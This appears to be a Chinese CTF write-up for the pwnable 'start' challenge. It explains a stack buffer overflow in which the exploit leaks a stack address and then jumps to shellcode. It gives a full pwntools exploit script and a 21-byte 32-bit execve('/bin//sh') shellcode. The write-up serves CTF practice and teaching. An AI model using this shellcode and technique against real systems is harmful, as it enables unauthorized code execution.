pwnable_start | Buuoj Pwn

一个比较有意思的题目,记录一下。

checksec:
在这里插入图片描述
保护全关,可以考虑ret2shellcode。

IDA看程序,
在这里插入图片描述

这里第二次的sys_read的ecx是前面mov ecx,esp处设置的。
对应的可以pwndbg动调看看:
在这里插入图片描述
所以这里0x14的padding即可。
但我们要ret2shellcode必须要泄露栈地址,所以可以考虑返回到这里:
在这里插入图片描述
这样就会打印栈上的值,具体与我们输入的shellcode的偏移可以动调看:
在这里插入图片描述
所以leak+0x14就是shellcode的地址,那么直接ret2shellcode即可。
只是这里要注意,我们最大0x3dBytes,如果用pwntools的shellcode会超,
所以我们用32位21Bytes的shellcode:

b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

完整Exp:

pl = b'a'*20 + p32(0x8048087)

# 0x0068732f   0x6e69622f
#debug()
sa(":",pl)


leak = leak_address()
info_addr("stack",leak)

shellcode = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

pl = b'a'*20 + p32(leak+0x14) + shellcode
#debug()
se(pl)

p.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值